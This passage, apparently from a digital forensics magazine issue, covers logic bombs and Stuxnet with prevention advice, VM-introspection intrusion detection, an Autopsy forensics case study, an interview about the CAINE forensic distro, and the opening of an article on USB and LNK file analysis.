cused on hacking Iranian Uranium enrichment plant SCADA (supervisory control and data acquisition)
systems, particularly a Siemens programmable logic controller (PLC).

Iran’s nuclear facilities

Iran has revealed to the U.N. nuclear watchdog the existence of a second
uranium enrichment plant.
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Figure 3. Map of Iran’s Nuclear Facilities. The Uranium enrichment plant in Natanz was targeted by Stuxnet. — Family Security
Matters by Kathryn Jean Lopez
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These SCADA systems can be accessed through the Internet (Microsoft Windows or Linux based) or
telephone lines, which make them susceptible to cyber-attacks. Using these SCADA systems allows work-
ers at power plants, oil companies, electric companies, etc. control and operates equipment remotely,
which increases efficiency of daily operations. Stuxnet used similar malware to the Flame cyber-attack.

In 2009 and 2010, Stuxnet targeted and significantly damaged Uranium enrichment facilities in Natanz.
It was discovered by VirusBlokAda, a security company that Stuxnet contained a time bomb indicating
that February 3, 2010 was the date that the logic bomb would activate. The malware used to initially in-
fect the computers used in these Uranium plants was spread through removable USB flash drives. Stux-
net used several methods to carry out this cyber-attack but the time bomb is the component that began
the process to attack the nuclear plant’s turbines and motors. The code was programmed to attack only
SCADA/ Siemen’s PLC systems with motors that spin between 807Hz and 1210Hz. Stuxnet was pro-
grammed to significantly alter the rotational speeds of these motors and turbines, causing the motors to
self-destruct and cease.

WHAT CAN BE DONE TO PREVENT LOGIC BOMB ATTACKS?

Since logic bombs are commonly planted in software systems by internal employees, organizations
should utilize password management when an employee is let go. This means password access for the
ex-employee should be lifted immediately following his/her release from the company. Also, when an
employee is let go, the remaining employees should be required to change their passwords following the
ex-employee’s departure. In addition, VPN access should be secured and denied to any employees who
have been terminated.

Secondly, organizations should be in compliance with SOX 404 standards and segregate access and
responsibilities into systems within the organization. For example, an employee who works exclusively on
maintaining and securing a Microsoft Exchange server should not have access to any financial systems.

Next, the IT administrators within a corporation should generally review activity and event logs for any
strange or nefarious activity on the network. Additionally, the IT administrators should create a list of
baseline common processes that are running on the corporation’s network regularly. When the IT admin-
istrator reviews activity, it will become an easier process to detect any out of the ordinary activity.

As a simple method of securing a corporation’s servers and network, up-to-date anti-virus software to
block any attacks. Lastly, technology focused organizations should consider purchasing software such
as Tripwire and Solidcore Systems. These applications detect logic bombs within a software system and
alert IT administrators of any nefarious activity.

SUMMARY

In conclusion, logic bombs are simple pieces of malware that can dramatically affect individuals or or-
ganizations. Not only can data be wiped clean from an individual hard drive, or from an entire network;
but logic bombs can cause physical damage to SCADA systems/Siemen’s systems and PLC systems.

Although the recommendations for preventing logic bomb attacks are not a guarantee for complete protec-
tion; these are practices that organizations should be exercising in order to create a more secure network.

It is in an organization’s best interest to perform security measures throughout the organization’s life-
time but it is especially important when an employee is fired or laid off. Logic bombs, if successful, can
affect the longevity and reputation of a company.
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INTRUSION
DETECTION USING A
VIRTUAL MACHINE
ENVIRONMENT

by Niranjan P. Reddy

Malware attacks against single hosts and networks are extremely
dangerous and could compromise the security of the entire
network. Protection from malware is one of the top worries for
system administrators who have to ensure that there are no
unnecessary threats to their systems. These threats can cause
an adverse effect on a running business or some other mission
critical operations. Over the past few years intrusion detection
and other security measures have gained critical importance in
the fight against malware. Selecting the right IDS is the key to
mitigate malware attacks. This article discusses an attempt to
create a more robust IDS while mentioning the limitations of
traditional detection systems.

« Limitations of HIDS, NIDS e . X .
.+ Virtual Machine mechanism for In- make a difficult choice. If the IDS reS|d’es on the host, it has an excellent
trusion Detection view of what is happening in that host’s software, but is highly suscep-
tible to attack. On the other hand, if the IDS resides in the network, it is more

resistant to attack, but has a poor view of what is happening inside the host,

T oday’s architectures for intrusion detection force the IDS designer to

+ Whatis an IDS making it more susceptible to evasion. This article presents an architecture
+ Types of IDS : HIDS, NIDS that retains the visibility of a host-based IDS, but pulls the IDS outside of the
+ Basic understanding of Virtual Ma- | host for greater attack resistance. By applying intrusion detection techniques

chines to virtual machine based systems, the intrusion detection system is kept out

of reach from intruders.

COUNTERING THE INTRUSION DETECTION SYSTEM

Widespread study and deployment of intrusion detection systems has led to
the development of increasingly sophisticated approaches to defeating them.
Intrusion detection systems are defeated either through attack or evasion.
Evading an IDS is achieved by disguising malicious activity so that the IDS
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fails to recognize it. Attacking an IDS involves tampering with the IDS or components it trusts to prevent
it from detecting or reporting malicious activity.

VISIBILITY V/S RISK

Countering these two approaches to defeating intrusion detection has produced conflicting requirements.
On one hand, directly inspecting the state of monitored systems provides better visibility. Visibility makes
evasion more difficult by increasing the range of analyzable events, decreasing the risk of having an in-
correct view of system state, and reducing the number of unmonitored avenues of attack. On the other
hand, increasing the visibility of the target system to the IDS frequently comes at the cost of weaker iso-
lation between the IDS and attacker. This increases the risk of a direct attack on the IDS. Nowhere is this
trade-off more evident than when comparing the dominant IDS architectures: network-based intrusion
detection systems (NIDS) that offer high attack resistance at the cost of visibility, and host-based intru-
sion detection systems (HIDS) that offer high visibility but sacrifice attack resistance. Another problem
that arises is the difficulty in getting reliable information from a compromised system. Once an intrusion
has occurred, the monitoring data coming from such system is no more reliable, as the intruder can dis-
able or modify the system monitoring tools in order to hide his/her presence.

HIDS

A host-based intrusion detection system offers a high degree of visibility as it is integrated into the host it
is monitoring, either as an application, or as part of the OS. The excellent visibility afforded by host-based
architectures has led to the development of a variety of effective techniques for detecting the influence
of an attacker, from complex system call trace to integrity checking and log file analysis, to the esoteric
methods employed by commercial anti-virus tools. In HIDS, anti-threat applications such as firewalls, an-
tivirus software and spyware-detection programs are installed on every network computer that has two-
way access to the outside environment such as the Internet.

NIDS

Network-based intrusion detection systems offer significantly poorer visibility. They cannot monitor inter-
nal host state or events, all the information they have must be gleaned from network traffic to and from
the host. Limited visibility gives the attacker more room to maneuver outside the view of the IDS. An at-
tacker can also purposefully craft their network traffic to make it difficult or impossible to infer its impact
on a host. The NIDS has in its favor that, it retains visibility even if the host has been compromised. In
NIDS, anti-threat software is installed only at specific points such as servers that interface between the
outside environment and the network segment to be protected.

VIRTUAL MACHINE APPROACH

Virtual Machines provide a strong isolation between the virtual environment and the underlying real sys-
tem and hence can also be used to improve the security of a computer system in face of attacks to its
network services. This allows us to pull our IDS “outside” of the host it is monitoring, into a completely dif-
ferent hardware protection domain, providing a high-confidence barrier between the IDS and an attack-
er’s malicious code. The Virtual Machine Monitor (VMM) also provides the ability to directly inspect the
hardware state of the virtual machine that a monitored host is running on. Consequently, we can retain
the visibility benefits provided by a host-based intrusion detection system. Finally, the VMM provides the
ability to interpose at the architecture interface of the monitored host, yielding even better visibility than
normal OS-level mechanisms by enabling monitoring of both hardware and software level events. This
ability to interpose at the hardware interface also allows us to mediate interactions between the hardware
and the host software, allowing to us to perform both intrusion detection and hardware access control. As
we will discuss later, this additional control over the hardware lends our system further attack resistance.

An IDS running outside of a virtual machine only has access to hardware-level state (e.g. physical
memory pages and registers) and events (e.g. interrupts and memory accesses), generally not the level
of abstraction where we want to reason about IDS policies. We address this problem by using our knowl-
edge of the operating system structures inside the virtual machine to interpret these events in OS-level
semantics. This allows us to write our IDS policies as high-level statements about entities in the OS, and
thus retain the simplicity of a normal HIDS policy model.

VMI IDS
Intrusion detection systems attempt to detect and report whether a host has been compromised by moni-
toring the host’s observable properties, such as internal state, state transitions (events), and 1/O activity.
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An architecture that allows more properties to be observed offers better visibility to the IDS. This allows an
IDS’s policy to consider more aspects of normative host behavior, making it more difficult for a malicious
party to mimic normal host behavior and evade the IDS. A VMI IDS directly observes hardware state and
events and uses this information to extrapolate the software state of the host. This offers visibility compa-
rable to that offered by an HIDS. Directly observing hardware state offers a more robust view of the system
than that obtained by an HIDS, which traditionally relies on the integrity of the operating system. This view
from below provided by VMI-based IDS allows it to maintain some visibility even in the face of OS compro-
mise. Similar to NIDS, VMI-based IDS retains visibility even if the host has been compromised.

COMPARING HIDS, NIDS AND VMI IDS

VMI and network-based intrusion detection systems are strongly isolated from the host they are monitor-
ing. This gives them a high degree of attack resistance and allows them to continue observing and re-
porting with integrity even if the host has been corrupted. This property has tremendous value for foren-
sics and secure logging. In contrast, a host-based IDS will often be compromised along with the host OS
because of the lack of isolation between the two. Once the HIDS is compromised, it is easily blinded and
may even start to report misleading data, or provide the adversary with access to additional resources
to leverage for their attack.

Host-based intrusion detection tools frequently operate at user level. These systems are quite suscep-
tible to attack through a variety of techniques once an attacker has gained privileged access to a sys-
tem. Some systems have sought to make user-level IDSs more attack resistant through “stealth,” i.e. by
hiding the IDS using techniques similar to those used by attackers to hide their exploits, such as hiding
IDS processes by modifying kernel structures and masking the presence of IDS files through the use of
steganography and encryption. Current systems that rely on these techniques can be easily defeated.

In host-based IDS, an IDS crash will generally cause the system to fail open. In user-level IDS it is im-
possible for all system activity to be suspended if the IDS do crash, since it relies on the operating sys-
tem to resume its operation. If the IDS is only monitoring a particular application, it may be possible to
suspend that application while the IDS is restarted. A critical fault in kernel- based IDS will often similarly
fail open. Since the IDS runs in the same fault domain as the rest of the kernel, this will often cause the
entire system to crash or allow the attacker to compromise the kernel.

Unfortunately, when NIDSs do fall prey to an attack they often fail open as well. Consider a malfunc-
tion in an NIDS that causes the IDS to crash or become overloaded due to a large volume of traffic. This
will virtually always cause the system to fail open until such time as the NIDS restarts. Failing closed in
an NIDS is often not an option as the network connection being monitored is often shared among many
hosts, and thus suspending connectivity while the IDS restarted would amount to a considerable denial-
of-service risk.

In VMI-based IDS the host can be trivially suspended while the IDS restarts in case of a fault, provid-
ing an easy model for fail-safe fault recovery. In addition, because a VMI IDS offers complete mediation
of access to hardware, it can maintain the constraints imposed by the operating system on hardware
access even if the OS has been compromised, e.g. by disallowing the network card to be placed into
promiscuous mode. So the idea is to have a virtual machine introspection, an approach to intrusion de-
tection which co-locates an IDS on the same machine as the host it is monitoring and leverages a virtual
machine monitor to isolate the IDS from the monitored host. The activity of the host is analyzed by di-
rectly observing hardware state and inferring software state based on a prior knowledge of its structure.
This provides high evasion resistance in the face of host compromise, provides high attack resistance
due to strong isolation, and provides the unique capability to mediate access to host hardware, allowing
hardware access control policies to be enforced in the face of total host compromise.

VMM

A virtual machine monitor (VMM) is a thin layer of software that runs directly on the hardware of a ma-
chine. The VMM exports a virtual machine abstraction (VM) that resembles the underlying hardware.
This abstraction models the hardware closely enough that software which would run on the underlying
hardware can also be run in a virtual machine. VMMs virtualize all hardware resources, allowing multiple
virtual machines to transparently multiplex the resources of the physical machine [16]. The operating
system running inside of a VM is traditionally referred to as the guest OS, and applications running on
the guest OS are similarly referred to as guest applications.
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LEVERAGING THEVMM

VMI IDS leverages three properties of VMMs:

ISOLATION

Software running in a virtual machine cannot access or modify the software running in the VMM or in a

separate VM. Isolation ensures that even if an intruder has completely subverted the monitored host, he
still cannot tamper with the IDS.

INSPECTION

The VMM has access to all the state of a virtual machine: CPU state (e.g. registers), all memory, and all
I/0O device state such as the contents of storage devices and register state of I/O controllers. Being able
to directly inspect the virtual machine makes it particularly difficult to evade a VMI IDS since there is no
state in the monitored system that the IDS cannot see.

INTERPOSITION

Fundamentally, VMMs need to interpose on certain virtual machine operations (e.g. executing privileged
instructions). A VMI IDS can leverage this functionality for its own purposes. For example, with only mini-
mal modification to the VMM, a VMI IDS can be notified if the code running in the VM attempts to modify
a given register.

VMM offers other properties that are quite useful in a VMI IDS. For example, VMMs completely encap-
sulate the state of a virtual machine in software. This allows us to easily take a checkpoint of the virtual
machine. Using this capability we can compare the state of a VM under observation to a suspended VM
in a known good state, easily perform analysis off-line, or capture the entire state of a compromised ma-
chine for forensic purposes.

CONCLUSION

Virtual Machine Introspection (VMI) is an approach to intrusion detection which co-locates an IDS on the
same machine as the host it is monitoring and leverages a virtual machine monitor to isolate the IDS from
the monitored host. The activity of the host is analyzed by directly observing hardware state and infer-
ring software state based on a prior knowledge of its structure. This approach shows certain advantages:
maintain high visibility, provides high evasion resistance in the face of host compromise, provides high
attack resistance due to strong isolation, and provides the unique capability to mediate access to host
hardware, allowing hardware access control policies to be enforced in the face of total host compromise.
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A DIGITAL FORENSICS
CASE STUDY USING
AUTOPSY

by Pujan Shah

Every day we need to validate digital information, especially

in law and business. As physical reality is replaced with virtual
reality, establishing the data validity and data sources requires
new technology. Digital criminals take advantage of difficulties
validating data, to commit fraud. Our job is to defend truth and
fight crime. The following case study reveals common aspects
of forensics studies such as analyzing files, viewing Internet
artifacts, recently used files, attached devices from Registry and
Email Analysis. We also discuss a few investigation processes
regarding data collection from nonvolatile memory storage.

What you will learn:

« Definition of Digital forensics

» Basics of What a digital forensic
methods

» Some practical Application of digi-
tal forensics investigation

* Processing a case in Autopsy

What you should know:

» Types of Digital Evidence

* Working on Operating Systems
and knowledge about different file
systems

* ACPO guidelines

es has increased the rate of cybercrime. New electronic devices and

platform such as Internet, mobile phones or PC’s are easily compro-
mised for illegal activities. At times, it is quite difficult to trace the source of
data, as the data flows from one network to another, and it is always a chal-
lenge to investigate these cases. Thus when computers and technology are
involved in a legal investigation, we call it a Digital Forensic case. Itis quite in-
teresting to know how digital evidence can be used to solve the crimes, even
if not committed directly using digital devices and platforms. Since a digital
forensic case deals with the life of a suspect as well as a victim, investigating
forensic experts have a high responsibility establishing the truth in finding all
relevant digital traces,

E asy availability of confidential data through multiple computer resourc-

* An example is the case defendant- Appellant Jesus Manuel Diaz, a truck
driver had created a false bill of lading using a program on his computer
that was discovered to have been deleted from the computer the day pri-
or to his arrest. There was discrepancy between the weight shown on the
bill of lading and a weight scale ticket. The investigating officer discov-
ered over 3,300 pounds of marijuana in the truck. (U.S. v. Diaz — Marijua-
na possession — New Mexico http.://infosecusa.com/us-v-diaz-marijuana-
possession-new-mexico)
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* Recovery of a file depends on how it was stored on the disk. Factors that play a key role in the pro-
cessing and recovering of digital evidence are File System, partition size and Operating System.
The data should be retrieved in such a manner that it is admissible for legal proceedings. The data
are stored in file clusters and the size of clusters depends on the file system.

The word ‘forensic’ refers to scientific methodologies to establish truth to a legal standard, and expose
fraud by means of subtle traces. Forensic Science mainly deals with physical evidence such as DNA,
Footprints, Fingerprints and other aspects of physical science, but a new branch of computer forensics is
evolving, out of Computer Science that depends on immutable truths revealed in the Operating System
and File Systems. Digital Forensics on the other hand focuses on data capture, recall and presentation.

WHAT IS DIGITAL FORENSICS?
Digital Forensics is a synonym of Computer forensics, which includes forensics of all digital technology,
the processes of collection techniques and tools used to find the evidence on computer like device.

Digital forensic consists of three main steps: acquiring, authenticating and analyzing.

* Acquiring digital evidence or electronic evidence in a useful manner, existing in digital form used in a
court case for trials while ensuring data integrity is preserved.

+ Authenticating the validity of extracted data, which involves making sure that it is an exact duplicate
of the original and that it will be valid in a court of law.

+ Analyzing data while keeping the integrity (Kruse Il, WARREN and Jay, G. Heiser (2002) Computer
forensics: incident Response Essentials. Addison-Wesley).

Digital evidence definition changes with each countries, jurisdiction and Association of Chief Police Of-
ficers (ACPO) rules and regulations. In other words, processing of a case on the basis of offences, pun-
ishment and crime are defined. In India, the minimum rank of investigating of cybercrimes is POLICE
INSPECTOR. The government is very strict with the ACPO rules and regulations for Computer based
Electronic Evidence. Indian government started a Cyber Security Advisory Group (CSAG) dealing with
public and private sector cybercrimes. The Indian government also established the Indian Computer
Emergency Response Team (CERT-In) as a nodal agency for responding to cyber security incidents. In
India a Panchanama (Seizure Memo) is completed while two independent witnesses from the responder
are present, ensuring that search and seizure proceedings in the Chain of Custody process are filled out.

Police Officers, Investigation Officers and Forensic Experts practices strictly follow forensics standards
defined by Indian Government in ACPO guidelines, IT Act 2000 and IT Act 2008 Amendments for evi-
dence investigating, acquisition, chain of custody, evidence handling and analyzing digital evidence. A
simple example of digital forensic examination is when checking a computer web browser’s history for
last visited links, last downloaded files or checking attached devices to the computer in case someone
has copied confidential documents or retrieving deleted files by checking recycle bin for deleted files.

PROCESS OF DIGITAL FORENSICS INVESTIGATION

The digital forensic investigative process differs as per the standards in the countries conducting the in-
vestigation. In this article we will follow four step basic investigation processes: Acquire, Authenticate,
Analyze and Reporting.

ACQUIRE

When the investigating officer visits a crime scene for digital forensic investigation, whatever he finds
related to a case could be evidence or a possible clue; he must take the evidences into custody; also
known as acquiring. A Chain of Custody refers to the documentation that shows the people who have
been entrusted with the evidence (person who seized the evidence, in charge of transferring evidences,
in charge of evidence analyzing and so on) as it is easy to tamper or damage electronic evidence. So,
it is necessary to maintain the chain of custody to know exactly who, where, when and why was the evi-
dence transferred to the concerned person. It could contain any device which could store information/
data or is used to send the data like printers, fax machines, and modems.
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Hard Drive/Computer Details

Description:
Marufaciurer: PModdel #: Serial #:
Chain of Custody
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Dat i

Doate MName/Organization: Name/Orgmization

Time: Higrature: Sismature:

Dhatee Narm e/ Organization Nane Ofrgarization

Tin Sigrature: Signature

[rate Name/ Organzation Name/Orgavization

Time: Sigrature: Signature:
Figure 1. Sample Chain of Custody Form - for reference (http://www.setecinvestigations.com/resources/legaltools/legaltool11.
php)

Autopsy does not have features to create an image. In India it is normal practice to work on an image,
but using AUTOPSY, it ensures that nothing can be deleted or tampered with. It also provides methods
analyzing disk images, local drives, or folders of local files.

Disk images can be in either raw/dd or EO1 format.

AUTHENTICATE

The chain of custody plays a key role in assisting and ensuring the integrity of collected digital evidence
and ensuring the integrity of collected digital evidences. This has to be proved in a court of law that data
has not been tampered, manipulated or evidence were not damaged from the time of evidence Acquisi-
tion to presentation of evidences to the court of law. In digital forensics the cryptographic hash functions
and Digital Signatures are used to check for the integrity; some of the hash function are MD5 and SHA-
1. Autopsy provide Hash Set Filtering to Filter out known good files using NSRL and flag known bad files
using custom hashsets in HashKeeper, md5sum, and EnCase formats.

ANALYZE
It is always good practice for an investigator to work on a duplicate image of evidence, as it may avoid
loss of data or corruption if any disaster occurs, since the original evidence is preserved.

You can download different images from: http.//www.cfreds.nist.gov the website provides images with
the case to be processed for practice.

REPORTING

Autopsy has an extensible reporting infrastructure that allows additional types of reports for investiga-
tions to be created. By default, an HTML, XLS, and Body file report are available. Each is configurable
depending on what information an investigator would prefer to include in their report:

HTML AND EXCEL

The HTML and Excel reports are intended to be fully packaged and shareable reports. They can include
references to tagged files along with comments and notes inserted by the investigator as well as other
automated searches that Autopsy performs during ingest. These include bookmarks, web history, recent
documents, keyword hits, hashset hits, installed programs; devices attached, cookies, download, and
search queries.
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Primarily for use in timeline analysis, this file will include MAC (Modified, Accessed, and Created) time
for every file in an XML format.

An investigator can generate more than one report at a time and either edit one of the existing or cre-
ate a new reporting module to customize the behavior for their specific needs. (http://www.sleuthkit.org/
autopsy/features.php)

WHAT IS AUTOPSY

Autopsy™ is an open source digital investigation tools (a.k.a. digital forensic tools) that run on Windows,
Linux, OS X, and other UNIX systems. They can be used to analyze disk images and perform in-depth
analysis of file systems (such as NTFS, FAT, HFS+, Ext3, and UFS) and several volume system types.

Examiners and analysts can use the Autopsy graphical interface. sleuthkit.org is the official website for
Autopsy™, and other open source digital investigation tools. From here, you can find documents, case
studies, and download the latest versions of the software.

These tools have the following goals:

(http://www.sleuthkit.org)

PROCESS IN AUTOPSY
Figure 2 shows the welcome screen. When you start autopsy this window prompts to create a new case,
open existing case or open recent case.

Here, | am Selecting Create New Case Option.

[ Welcome o |

Create New Case

Open Existing Case

Open Recent Case

Cloze

b

Figure 2. Select create new case

In Figure 3, the Case Name, which will be written in Report and the location where you want to save
the case related file, is selected.
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r& New Cate Information |$‘

Steps Casc Info

1. Casc Info
2. Addilional Information

Enler New Case Informabion:
Case Name: Logical drive

Bese Dieclory:  Users Pl GniDeshlondesklop 27 06 13lunefeldaulousy m
R

Case data will be stored in the following directory:
C:\Usere \Puj@n'Decktopi\desktop_27_06_13\prefetchlautopey| agical_drive

et D[ [ concd |

Figure 3. Case Name and Location of files to be saved are defined

In Figure 4 the Case Number and Examiner Name is written which is being helpful for mentioning the
name in Chain of Custody, and also when the evidences are found to be tampered so, the examiner can
be easily identified.

fb Mew Caze Information &
Steps Additional Intormation
1. Case Info
2. Addihianal Informahion OptionglLSeLLgee Number and Examiner

ace Number: 1

Examiner: Pujan P Shah|

" o
< Back ' .—ca"‘el
S—

Figure 4. Case Number and Name of Examiner

Figure 5 shows the selection of source drive, with three options; Local Disk, Image file and Logical files.
Here | am selecting Local Disk. Now after that we have to select local disk partition (Figure 6) and now
you have to select the time zone as per country where the case is being processed or from where the
evidence has been acquired (Figure 7) the time zone selection plays a key role and is an important part
of forensics when working on evidence.
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Figure 5. Select format of evidence, Image file, Local Disk or Logical Files
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Figure 6. Select local disk
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Figure 7. Time Zone of the location where the case is processed
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Keyword Search, text extraction and index searched modules are enabled to find files that mention
specific terms and find regular expression patterns in Autopsy. In our case, | searched for cmd as a key-
word and the results are shown in Figure 8. Autopsy also provides an email analyzer feature which could
be used to see all the email addresses which are present on the evidence disk (Figure 9).

oot ] e it

Dracioryling | Faraordawch 1 X BE
Feyword search 1 et
ot vew

[ Keywird | NevmsedRepderresson | Pt ase | KewwordPview | Locaion  Wod Tme  Changs T AcoeseTie | Crevied Twoe | S8

johiiem 2i_HOEHimD kLU REA-CXFLI0A
[ cociomBe ST Re et I o Lu LI
| TRl MG X e OO P P _ bl e
[ siPmeaoC oyt DR L RN A0NA t [
L e b i Tk e e b
I 1 NTUSER.DWT L I

T T T I TR T

| hading windans 7 €t fipe oo W8 + Iberret Exploves B Explat mpd |

Hex view | Smg view [ mesuit
Maltresonpage: 1 af

Search Besdts

Figure 8. Keyword Search
Dwectory Listng Neywordsearch L W
List Name: Number of Hits|

A preitrty Qg st (3]

A ptmant4188al.c

A michigarkatt ol com [3)
A maknttShommal. com (7}

. lseon Qastelphin ret (8]

A magpeScharter net (2
 parrecls. marks B et (1]

~ monatva e com (1}
 phamBeriret (2)

~ muffyz@yshea.com [7)
 OLAGUESBESCD X 12.CA.LS ()

o arvekjsy.com (2)
s pologcoug.com (2)

Demrionds () .
3 Reoent Documers (1) ~ asboume Smndspnng.cem (§)

% Instalied Progeaess (218)
i Devices Attached (258
W Web Search Ergne Gueries (178)
W EUF Metacdata (3)

A Mepmord His
A Singfe Liberal Kiywor d Saarch (30
L S R Expressson Search (i)

T
G B et
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It also extracts web activity from common browsers to help identify user activities (Figure 10).
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It also provide hexadecimal view with help of that we can analyze the file type and it also has file type
Sorting feature which Group files by their type to find all images or documents (Figure 11). Alist of Hexa-
decimal signatures are available on website: http:/filesignatures.net/index.php?page=all.
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Figure 11. Hexadecimal signature of .jpg Image file

Creating Timeline helps to narrow down a case based on system events in a graphical interface to help
identify activity and narrow down the case is shown in Figure 12 and in Figure 13. The files and applica-
tions which were accessed, modified or created on 12th March 2013 are shown.
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Figure 12. Click Make Timeline (beta) under Tools Menu
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Figure 13. Files accessed on 12th March 2013

In Figure 14 the procedures to create a report are shown and in Figure 15 the process to be carried out
to completely generate report.
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In Figure 16 the report showing attached devices are shown
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Digital Forensics is an evolving and changes regularly. As digital
crimes are done on different machines and it is important that Chain
of Custody, Evidence Handling and Acquiring of digital evidence are
properly conducted. If any of these are not performed appropriately,
it will be difficult for investigators to process a case and get results
related to the case. Nowadays, where everything is digital, a prac-
tice of BYOD (bring your own device) should be taken seriously, as
well as digital espionage, where cyber-crime and terrorism can ef-
fect national securities. The main problem with digital evidence is
mainly concerning data tampered evidence destruction.

Using open source software Like Autopsy, Volatility Framework and
a few others, alternative options regarding data capture is possible.

Autopsy can be installed and use on multiple platforms and is pre-
ferred over many commercial software packages, unfortunately au-
topsy is not permitted in many countries for evidence submittal in
legal matters because of its open source nature. Proprietary/com-
mercial software’s are very costly; therefore it is difficult for an aver-
age size forensic firm to investigate efficiently.
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How many years have you been working in the computer forensics field?
Since 2005, | started analysing the attacks on my web server and approaching to the first forensics Gnu/
linux distros .

Do you have any certifications in computer forensics?
No, | haven't in Italy they are not necessary.

If so, do you recommend them for someone new to the field?
No, | recommend to study a lot and to try on home systems, but basically | recommend to have a com-
puter science degree or something like it.

What scripting languages do you know?
A little bit of Bash and PHP.

Do you see scripting and/or other programming languages as being important in the
computer forensics field?

| think that computer forensics is a very large discipline, you have to know a little bit of everything, com-
puter languages, networking, databases, operative systems, etc. When you have to work on something
you know bad, it's better to make a team.

Why did you join the project to produce C.A.l.N.E?
Because | was working in digital forensics and | liked to use my experience in developing of this new fo-
rensic distro.

How does C.A.l.N.E compare to other Linux forensic distros like (Helix, Backtrack, Kali
Linux and any others)?

It's free, it is usable. | point all the devlopment to make a friendly gnu/linux distro, because many people
can’t use Linux, they prefer a friendly approach to the softwares, like Windows environment, but the most
important feature is the forensic proof of Caine, it does not change the attached devices, so it preserves
them from changes and this is forensically sound. For instance, | disabled the automount, there is the
no corrupted Journal automatic recovery patch, the root file system spoofing patch, the mounter GUI for
mounting in read-only.

What recommendations can you give to someone new to using C.A.l.N.E?
My first recomendation is to study Linux O.S., study the computer science, the computer forensics pro-
cedures and the scientific methods, finally they have to test all at home before to work on real cases.

What types of cases have experts used C.A.l.N.E?
Many types, but the main purpose is to make a forensic image file of a device on site, for example for a
server, raid disks, etc.

What is the future of the C.A.L.N.E distro?
Always more friendly, this is my main purpose, for this reason | used LightDm and Mate as desktop en-
vironment.

Thanks for your time!
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USB AND LNK FILE
ANALYSIS

by Eric Vanderburg
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Data moves so easily and freely between computers and devices,
especially today with the inexpensive price of storage devices
like flash drives and external Universal Serial Bus (USB) storage.
Not only may data exist on a machine or in the cloud, but on
many removable devices as well. It is tough for the average
person to keep track of all this data. It is even more important
for the forensic investigator to understand the role and value
Link (LNK) files and USB devices have as evidence. This data can
be helpful when trying to determine if sensitive data has been
removed from a facility or if data relevant to a case is present on
removable media that might need to be obtained my attorneys.

What you will learn:

* How LNK files and USB devices fit
into the forensic investigation

* How USB drives and LNK files are
related

* How USB drives and LNK files are
valuable as evidence

What you should know:

« Significance of USB and LNK file
analysis

« Phases of a computer forensic in-
vestigation

* Types of USB drives

the small size of flash drives, thousands of sensitive documents or other

pieces of data could easily leave a company on a device as large as a key
chain. The ease of this method of theft has also lead to its popularity among
criminals and the need for forensic investigators to understand how to track
files that have been copied to USB devices and how to determine which de-
vices may be needed for an investigation. Attorneys are limited to what they
can request and there is a cost with each device that must be obtained so
forensic investigators need to be able to determine which devices are likely
relevant to a case so that they can be selected for further analysis. This ar-
ticle reviews LNK files and USB devices and how forensic investigators use
them today.

SIGNIFICANCE OF USB AND LNK FILE ANALYSIS

Computer forensics analysis is one complex field. However, at the core, itis a
process that can help determine and investigate if or how crimes are commit-
ted because it revolves around evidence and investigation. Specialists work-
ing in this field can be thought of as digital detectives.

I t is so easy to copy data to a USB flash drive or hard drives and, given

USB and LNK File Analysis is a process in computer forensics that revolves
around examining different forms of digital media and information. Although
it is generally associated with computer crime investigation, the process can
also be resorted for civil proceedings. This discipline is expected to involve
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principles and techniques similar to data recovery although it runs on additional guidelines designed to
establish legal audit trails.

This field of forensics can be challenging. Usually, it will require deep technical skill sets. Nonetheless,
individuals well equipped with an inquisitive and logical mind, and those with a drive for learning will cer-
tainly find this field not just interesting but a career path worth considering.

PHASES OF A COMPUTER FORENSICS INVESTIGATION

Computer Forensics Investigation can be divided into four major phases: Assessment, Acquisition, Anal-
ysis and Reporting. The assessment phase is when incidents are identified or when strong suspicions
of incidents are voiced to investigators. First responders are expected to record basic details and then
notify responsible individuals within the organization to begin the necessary investigative procedure.

During the acquisition phase, all significant data will be collected and sent to the teams responsible
for conducting the analysis. The analysis phase reviews the data to identify relevant facts. This often
includes looking into the parts or areas of a computer hard drive that are normally inaccessible such as
the unallocated space. Documentation of the procedures undertaken is very essential for any investiga-
tive process and it takes place throughout the process beginning at acquisition all the way through to
the reporting stage. Forensic investigators need to have evidence that the investigations they conducted
preserved all data on computer systems without causing damage or modification of the data. They may
be requested to testify in court as expert withesses and so it is necessary that they be prepared before-
hand with accurate documentation. This documentation is put together into a report at the conclusion of
the project or possibly at interim milestones.

DATA COMMONLY SUBJECT TO INVESTIGATION

There are three main types of data that analysts often find themselves dealing with; Active data, archival
data and latent data. Active data is often the easiest to obtain. It takes the form of files and programs that
are being used by operating systems and are currently present on the machine. Archival data is data that
has been removed from the machine to be stored on Compact Disks (CD), removable hard drives, cloud
storage or backup tapes. This should be performed in most companies as part of a well-documented
automated scheduled process. Lastly, latent data is data that was previously removed from the system.
It may be incomplete if it is partially overwritten or it may be complete and present in unallocated space.

USB DEVICES

Active data can be copied to many devices including USB storage and USB storage is often used for ar-
chival purposes as well so it is a very important topic for forensic investigation. Let us first review USB
devices before discussing how they are analyzed in a forensic context. By extending knowledge in this
area, future investigators will be able to understand the significant impacts these tools have on important
investigations. Basic understanding does not only articulate the devices’ value to forensics but also pro-
mote better understanding of how they can be maximized for critical use.

USB storage devices can be of many different types. Whether flash drives or external hard disk drives,
these tools allow users to quickly copy information off desktops, laptops or servers. Perhaps the most
common type of USB device is the flash drive, smart drive, jump drive or USB stick. They go by so many
names but essentially are a small device consisting of solid state flash transistors that store computer da-
ta. We will refer to them here as flash drives since they use solid state flash memory to store data. Flash
Drives typically measure less than four inches in length. They are often attached on to key chains or on
lanyards or worn around necks or wrists. They are tucked into pockets and placed in drawers. These de-
vices containing GigaBytes (GB) of information move about the office and home without a glance.

Flash Drives are often chosen for data portability and not actually for data capacity. They are made to
transport data such as pictures, spreadsheets and documents or other files. Drives of this type are very
portable and they can hold over a hundred GigaBytes of data though most common USB devices are
between 2 and 16 GigaBytes at a cost as low as five dollars or as high as one hundred depending on the
manufacturer and size. Flash drives are so cheap that they are often given away as gifts or trade show
prizes emblazoned with a company logo.

Another type of USB drive is the U3, also called a smart drive. This is a type of flash drive that was de-
veloped by SanDisk and M-Systems. U3 drives, along with compatible software; make for the creation of
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portable user environments including user files and applications. One can have U3 drives plugged into
PCs and have the applications installed for the performance of tasks.

External hard drives offer the largest capacity of USB storage. USB hard drives come equipped with
the latest internal hard disk drive with a USB adapter to allow them to be plugged into a computer USB
port. These drives are quickly recognized by the operating system and made available for data to be
stored on them. Drive sizes are currently around three terabytes, which is equivalent to approximately
